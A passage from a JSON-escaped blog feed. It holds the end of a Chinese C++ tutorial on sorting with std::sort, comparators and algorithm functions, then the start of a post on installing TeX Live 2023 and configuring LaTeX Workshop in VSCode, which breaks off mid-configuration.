设计很像)。\u003c/p\u003e\u003cp\u003e细心的你应该会发现,首末位置相减正好是要排序的序列长度,所以第二个参数还是很好想到的。所以,如果是 n 个元素排序(下标从 1~n)就应该写 \u003ccode\u003esort(a + 1, a + n + 1);\u003c/code\u003e 了。\u003c/p\u003e\u003ch4 id=\"toc_302\"\u003e自定义比较器\u003c/h4\u003e\u003cp\u003e如果你想要把这 50 个元素从大到小排序呢?这时候就需要自定义比较器了。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esort()\u003c/code\u003e 这个函数其实还可以传入第三个参数,这个参数便是自定义比较器。想要从大到小排序,只需要这样定义一个返回类型为 \u003ccode\u003ebool\u003c/code\u003e 的函数作为比较比较器。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003ebool compare(int x, int y)\n{\n return x \u0026gt; y;\n}\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e排序时需要这样写:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003esort(a + 1, a + 51, compare);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这样运行过后,\u003ccode\u003ea\u003c/code\u003e 数组就是从大到小排序的了。\u003c/p\u003e\u003cp\u003e可以这么理解比较器函数:返回 \u003ccode\u003etrue\u003c/code\u003e,第一个参数排前面,返回 \u003ccode\u003efalse\u003c/code\u003e,第二个参数排前面。\u003c/p\u003e\u003cp\u003e如果你喜欢更简洁的写法,可以使用 C++11 标准新增的 Lambda 表达式(匿名函数)作为第三个参数,这样一行就写完了。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003esort(a + 1, a + 51, [](int x, int y) -\u0026gt; bool { return x \u0026gt; y; });\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e比较器函数同样很适用于结构体排序。比如像这样定义一个结构体。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003estruct Student\n{\n char* name;\n int chinese; // 语文成绩\n int math; // 数学成绩\n int english; // 英语成绩\n}\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e想要把 50 个学生按照语文成绩的顺序从高到低排序,语文成绩一样时按照数学成绩排序,最后按照英语。比较器应该像这样写:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003ebool cmp(Student a, Student b)\n{\n if (a.chinese \u0026gt; b.chinese) {\n return true;\n } else if (a.chinese == b.chinese) { // 语文成绩一样\n if (a.math \u0026gt; b.math) { // 先比数学\n return true;\n } else if (a.math == b.math) { // 数学成绩一样\n return a.english \u0026gt; b.english; // 最后比较英语\n } else {\n return false;\n }\n }\n return false;\n}\u003c/code\u003e\u003c/pre\u003e\u003ch4 id=\"toc_303\"\u003e重载运算符的妙用\u003c/h4\u003e\u003cp\u003e重载 \u003ccode\u003e\u0026lt;\u003c/code\u003e 小于运算也是一个优雅的让 sort 函数安自己预期工作的好办法。重载运算符也是 C++ 的特性,简单来说就是自己去给某个结构体/类定义运算。\u003c/p\u003e\u003cp\u003e比如上面的 \u003ccode\u003eStudent\u003c/code\u003e 结构体,想要不通过 \u003ccode\u003esort()\u003c/code\u003e 的第三个参数来按照上述规则排序,可以这样写:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003estruct Student\n{\n char* name;\n int chinese;\n int math;\n int english;\n\n bool operator \u0026lt; (const Student\u0026amp; other) const\n {\n if (chinese \u0026gt; other.chinese) {\n return true;\n } else if (chinese == other.chinese) {\n if (math \u0026gt; other.math) {\n return true;\n } else if (math == other.math) {\n return english \u0026gt; other.english;\n } else {\n return false;\n }\n }\n return false;\n }\n}\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e下面的主程序只需要这样写(假设有 50 个学生存到数组 \u003ccode\u003es\u003c/code\u003e,下标 0~49):\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003esort(s, s + 50);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这样执行过后,\u003ccode\u003es\u003c/code\u003e 就按照规则排序了。\u003c/p\u003e\u003ch3 id=\"toc_304\"\u003eAlgorithm 中的其他实用函数\u003c/h3\u003e\u003cp\u003e下面的 \u003ccode\u003ebegin\u003c/code\u003e 和 \u003ccode\u003eend\u003c/code\u003e 都是指针(迭代器)变量,值为一个地址。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e函数\u003c/th\u003e\u003cth\u003e功能\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003eswap(a, b)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e顾名思义,交换变量 \u003ccode\u003ea\u003c/code\u003e 和 \u003ccode\u003eb\u003c/code\u003e 的值。\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003efill(begin, end, val)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e将区间 \u003ccode\u003e[begin, end)\u003c/code\u003e 填充值 \u003ccode\u003eval\u003c/code\u003e,适合用来填充数组/容器。\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003ereverse(begin, end)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e将区间 \u003ccode\u003e[begin, end)\u003c/code\u003e 进行反转,比如把字符串反转一下,判断是不是回文串。\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003emin(a, b)\u003c/code\u003e / \u003ccode\u003emax(a, b)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e顾名思义,返回 \u003ccode\u003ea\u003c/code\u003e 和 \u003ccode\u003eb\u003c/code\u003e 中较小/较大的值。\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003emin_element(begin, end)\u003c/code\u003e / \u003ccode\u003emax_element(begin, end)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e返回区间 \u003ccode\u003e[begin, end)\u003c/code\u003e 中最小/最大值的地址。\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003elower_bound(begin, end, val)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e返回\u003cstrong\u003e有序\u003c/strong\u003e区间 \u003ccode\u003e[begin, end)\u003c/code\u003e,首个值为 \u003ccode\u003eval\u003c/code\u003e 的地址。\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003eupper_bound(begin, end, val)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e返回\u003cstrong\u003e有序\u003c/strong\u003e区间 \u003ccode\u003e[begin, end)\u003c/code\u003e,最后一个值为 \u003ccode\u003eval\u003c/code\u003e 的地址的下一个元素的地址。\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003eunique(begin, end)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e对区间 \u003ccode\u003e[begin, end)\u003c/code\u003e 进行去重。\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"toc_305\"\u003e参考手册\u003c/h2\u003e\u003cp\u003eSTL 容器参考:\u003ca href=\"https://www.cplusplus.com/reference/stl/\"\u003ecplusplus.com\u003c/a\u003e\u003cbr\u003eAlgorithm 功能参考:\u003ca href=\"https://www.cplusplus.com/reference/algorithm/\"\u003ecplusplus.com\u003c/a\u003e\u003cbr\u003e(虽然这个网站界面很古典,但是例子和解释相当全。对英语水平要求不高。)\u003c/p\u003e\u003cp\u003eC++ 头文件参考:\u003ca href=\"https://zh.cppreference.com/w/cpp/header\"\u003ecppreference\u003c/a\u003e\u003cbr\u003e(和上面的网站有相似的内容,但支持中文)\u003c/p\u003e\u003cp\u003e下篇:\u003ca href=\"/archives/763/\"\u003eSTL 容器指南\u003c/a\u003e。这篇文章介绍了各种 STL 容器的用法,适合有基础的人食用。介绍了以下容器。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e中英文名字\u003c/th\u003e\u003cth\u003e功能\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e栈(stack)\u003c/td\u003e\u003ctd\u003e先进后出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e队列(queue)\u003c/td\u003e\u003ctd\u003e先进先出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e双端队列(deque)\u003c/td\u003e\u003ctd\u003e兼有栈和队列特性\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e链表(list)\u003c/td\u003e\u003ctd\u003e双向链表\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e向量(vector)\u003c/td\u003e\u003ctd\u003e动态数组\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e字符串(string)\u003c/td\u003e\u003ctd\u003e比 \u003ccode\u003echar*\u003c/code\u003e 更好用的字符串\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e优先队列(priority_queue)\u003c/td\u003e\u003ctd\u003e堆,内部有序\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e映射(map)\u003c/td\u003e\u003ctd\u003e构造键到值的映射\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e集合(set)\u003c/td\u003e\u003ctd\u003e不允许重复值,内部有序\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n","url":"https://hawa130.com/archives/751/"}]},{"name":"康师傅","email":"","uri":"https://blog.ksfu.top/","description":"太菜了","article":[{"title":"TeX Live 2023安装\u0026VSCode环境配置记录","time":"2023-11-22T15:00:39Z","content":"\u003ch1 id=\"TeX-Live-2023安装-amp-VSCode环境配置记录\"\u003e\u003ca href=\"#TeX-Live-2023安装-amp-VSCode环境配置记录\" class=\"headerlink\" title=\"TeX Live 2023安装\u0026amp;VSCode环境\u003chr /\u003e\u003ch1 id=\"TeX-Live-2023安装-amp-VSCode环境配置记录\"\u003e\u003ca href=\"#TeX-Live-2023安装-amp-VSCode环境配置记录\" class=\"headerlink\" title=\"TeX Live 2023安装\u0026amp;VSCode环境配置记录\"\u003e\u003c/a\u003eTeX Live 2023安装\u0026amp;VSCode环境配置记录\u003c/h1\u003e\u003cp\u003e整完了。\u003cdel\u003e还没写完,主要快断电了属于是)\u003c/del\u003e\u003c/p\u003e\u003cp\u003e系统信息: Windows 11 专业版 23H2 22635.2771。\u003c/p\u003e\u003cp\u003e之前机子上装过2021版本,但一直没咋用过)刚好后面要开始用这玩意了,就重新装了一下,顺便配一配环境。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e参考链接:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/603669792\"\u003eLaTeX小白兔手册-配置篇 - 知乎 (zhihu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/166523064\"\u003eVisual Studio Code (vscode)配置LaTeX - 知乎 (zhihu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://yangyq.net/2022/05/latex-with-visual-studio-code.html\"\u003e配置Visual Studio Code和LaTex环境 - 老杨说话的地方 (yangyq.net)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://github.com/James-Yu/LaTeX-Workshop/wiki\"\u003eHome · James-Yu\u0026#x2F;LaTeX-Workshop Wiki (github.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"TeX-Live安装\"\u003e\u003ca href=\"#TeX-Live安装\" class=\"headerlink\" title=\"TeX Live安装\"\u003e\u003c/a\u003eTeX Live安装\u003c/h2\u003e\u003cp\u003e首先下载TeX Live 2023镜像,推荐清华镜像站:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://mirrors.tuna.tsinghua.edu.cn/CTAN/systems/texlive/Images/?C=M\u0026O=A\"\u003eIndex of \u0026#x2F;CTAN\u0026#x2F;systems\u0026#x2F;texlive\u0026#x2F;Images\u0026#x2F; | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror\u003c/a\u003e \u003c/p\u003e\u003cp\u003e选择\u003ccode\u003etexlive2023.iso\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下载完成后打开镜像,运行\u003ccode\u003einstall-tl-windows.bat\u003c/code\u003e,\u003c/p\u003e\u003cp\u003e图形界面,操作比较简单,注意选择好安装路径即可,大约需要 \u003cstrong\u003e8G\u003c/strong\u003e 的硬盘空间。\u003c/p\u003e\u003cp\u003e然后安装就行,安装时间比较长,50分钟左右?注意别点 \u003ccode\u003eAbort\u003c/code\u003e ,耐心等着就行。\u003c/p\u003e\u003cp\u003e最后提示 \u003ccode\u003e欢迎进入 Tex Live 的世界!\u003c/code\u003e ,就算是装完了。然后打开终端,输入 \u003ccode\u003e latex -v\u003c/code\u003e 查看版本信息,检查安装是否正常。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003epdfTeX \u003cspan class=\"token number\"\u003e3.141592653\u003c/span\u003e-2.6-1.40.25 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eTeX Live \u003cspan class=\"token number\"\u003e2023\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ekpathsea version \u003cspan class=\"token number\"\u003e6.3\u003c/span\u003e.5Copyright \u003cspan class=\"token number\"\u003e2023\u003c/span\u003e Han The Thanh \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003epdfTeX\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e et al.There is NO warranty. Redistribution of this software iscovered by the terms of both the pdfTeX copyright andthe Lesser GNU General Public License.For \u003cspan class=\"token function\"\u003emore\u003c/span\u003e information about these matters, see the \u003cspan class=\"token function\"\u003efile\u003c/span\u003enamed COPYING and the pdfTeX source.Primary author of pdfTeX: Han The Thanh \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003epdfTeX\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e et al.Compiled with libpng \u003cspan class=\"token number\"\u003e1.6\u003c/span\u003e.39\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e using libpng \u003cspan class=\"token number\"\u003e1.6\u003c/span\u003e.39Compiled with zlib \u003cspan class=\"token number\"\u003e1.2\u003c/span\u003e.13\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e using zlib \u003cspan class=\"token number\"\u003e1.2\u003c/span\u003e.13Compiled with xpdf version \u003cspan class=\"token number\"\u003e4.04\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"VSCode配置LaTex环境\"\u003e\u003ca href=\"#VSCode配置LaTex环境\" class=\"headerlink\" title=\"VSCode配置LaTex环境\"\u003e\u003c/a\u003eVSCode配置LaTex环境\u003c/h2\u003e\u003ch3 id=\"LaTeX-Workshop插件配置\"\u003e\u003ca href=\"#LaTeX-Workshop插件配置\" class=\"headerlink\" title=\"LaTeX Workshop插件配置\"\u003e\u003c/a\u003eLaTeX Workshop插件配置\u003c/h3\u003e\u003cp\u003e打开VScode,在扩展搜索 \u003ccode\u003eLaTeX Workshop\u003c/code\u003e 进行安装。\u003c/p\u003e\u003cp\u003e打开\u003ccode\u003eLaTeX Workshop\u003c/code\u003e 的设置,之后在右上角选择 \u003ccode\u003e打开设置(json)\u003c/code\u003e 。因为配置项比较多,所以直接网上抄设置复制进json(毕竟有159个设置项……\u003c/p\u003e\u003cp\u003e\u003ccode\u003eLaTeX Workshop\u003c/code\u003e Wiki:\u003ca href=\"https://github.com/James-Yu/LaTeX-Workshop/wiki\"\u003eHome · James-Yu\u0026#x2F;LaTeX-Workshop Wiki (github.com)\u003c/a\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e根据Wiki内容:\u003ca href=\"https://github.com/James-Yu/LaTeX-Workshop/wiki/Install#settings\"\u003ehttps://github.com/James-Yu/LaTeX-Workshop/wiki/Install#settings\u003c/a\u003e\u003c/p\u003e\u003cp\u003eYou can modify settings through the menu of VS Code, \u003ccode\u003ePreferences \u0026gt; Settings\u003c/code\u003e. You can also modify settings by directly editing \u003ccode\u003esettings.json\u003c/code\u003e. See an \u003ca href=\"https://code.visualstudio.com/docs/getstarted/settings#_settings-file-locations\"\u003eofficial document\u003c/a\u003e for the location of \u003ccode\u003esettings.json\u003c/code\u003e.\u003c/p\u003e\u003cp\u003eYou can also have different settings for each project with \u003ccode\u003e.vscode/settings.json\u003c/code\u003e at the root of each project workspace. See an \u003ca href=\"https://code.visualstudio.com/docs/getstarted/settings#_settings-file-locations\"\u003eofficial document\u003c/a\u003e.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e有两种修改VSCode设置的方式,一种是直接修改,全局生效的这种。另一种是针对不同工程使用不同配置,需要在工程下建立名为 \u003ccode\u003e.vscode\u003c/code\u003e 的文件夹,建立 \u003ccode\u003esettings.json\u003c/code\u003e 进行设置。我们选择第一种。\u003c/p\u003e\u003cp\u003e注意编辑json文件时要注意格式,如果文件内有其他配置,跟后面就行,别直接复制进去给覆盖掉)然后记得配置复制到最外头的大括号里面( \u003cstrong\u003e\u003ccode\u003e\u0026#123;其他配置,你的配置\u0026#125;\u003c/code\u003e\u003c/strong\u003e )。\u003c/p\u003e\u003cp\u003e到处借鉴然后揉了点适合自己的配置:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token comment\"\u003e//---------LaTeX Workshop 配置开始-----------\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 设置是否自动编译,可选:\"never\", \"onSave\", \"onFileChange\"\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.latex.autoBuild.run\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"never\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//文件输出路径,会自动创建temp文件\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//\"latex-workshop.latex.outDir\": \"./temp\",\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//右键菜单\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.showContextMenu\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//从使用的包中自动补全命令和环境\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.intellisense.package.enabled\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//编译出错时设置是否弹出气泡设置\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.message.error.show\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.message.warning.show\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 编译工具和命令\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.latex.tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"command\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"args\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-shell-escape\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//加上这句,以使用minted宏包\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-8bit\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//防止minted宏包转义特殊字符\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-synctex=1\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-interaction=nonstopmode\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-file-line-error\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//\"-output-directory=temp\", //自定义辅助文件输出路径\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//\"-outdir=%OUTDIR%\", //辅助文件输出路径\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"%DOCFILE%\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"command\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pdflatex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"args\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-shell-escape\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//加上这句,以使用minted宏包\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-8bit\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//防止minted宏包转义特殊字符\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-synctex=1\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-interaction=nonstopmode\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-file-line-error\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//\"-output-directory=temp\", //自定义辅助文件输出路径\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//\"-outdir=%OUTDIR%\", //辅助文件输出路径\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"%DOCFILE%\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"latexmk\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"command\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"latexmk\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"args\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-synctex=1\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-interaction=nonstopmode\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-file-line-error\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-pdf\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"-outdir=%OUTDIR%\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"%DOCFILE%\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"bibtex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"command\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"bibtex\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"args\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"%DOCFILE%\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 用于配置编译链\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"latex-workshop.latex.recipes\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"XeLaTeX\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xelatex\"\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"name\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"XeLaTeX*2\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"tools\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token 